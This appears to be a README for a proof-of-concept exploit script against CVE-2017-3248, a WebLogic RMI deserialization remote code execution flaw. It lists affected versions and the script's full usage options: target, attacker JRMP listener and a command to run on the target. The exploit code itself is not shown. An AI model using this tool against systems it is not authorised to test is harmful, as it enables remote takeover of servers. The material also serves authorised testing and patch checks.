exploits/weblogic/exploit-CVE-2017-3248-bobsecq.py
The script exploit-CVE-2017-3248-bobsecq.py exploits the CVE-2017-3248 (https://www.tenable.com/security/research/tra-2017-07). It is the first script/POC for exploiting the "Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution" vulnerability because Tenable (which has discovered this vulnerability) has not published an exploit/POC.
This script can be used for:
- checking if a weblogic server is vulnerable
- exploiting the RCE
This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial)
Version affected by this vulnerability (according to Oracle):
- 10.3.6.0,
- 12.1.3.0
- 12.2.1.0
- 12.2.1.1
This exploit has been tested on Weblogic Server 12.1.2.0 (without and with ssl).
$ python exploit-CVE-2017-3248-bobsecq.py -h
usage: exploit-CVE-2017-3248-bobsecq.py [-h] -t TARGET -p PORT
[--jip ATTACKERIP]
[--jport ATTACKERPORT]
[--cmd CMDTOEXECUTE] [--check] [--ssl]
--ysopath YSOPATH
[--payloadType PAYLOADTYPE]
optional arguments:
-h, --help show this help message and exit
-t TARGET target IP
-p PORT target port
--jip ATTACKERIP Local JRMP listener ip
--jport ATTACKERPORT Local JRMP listener port (default: 3412)
--cmd CMDTOEXECUTE Command to execute on the target
--check Check if vulnerable
--ssl Enable ssl connection
--ysopath YSOPATH Ysoserial path
--payloadType PAYLOADTYPE
Payload to use in JRMP listener (default:
CommonsCollections5)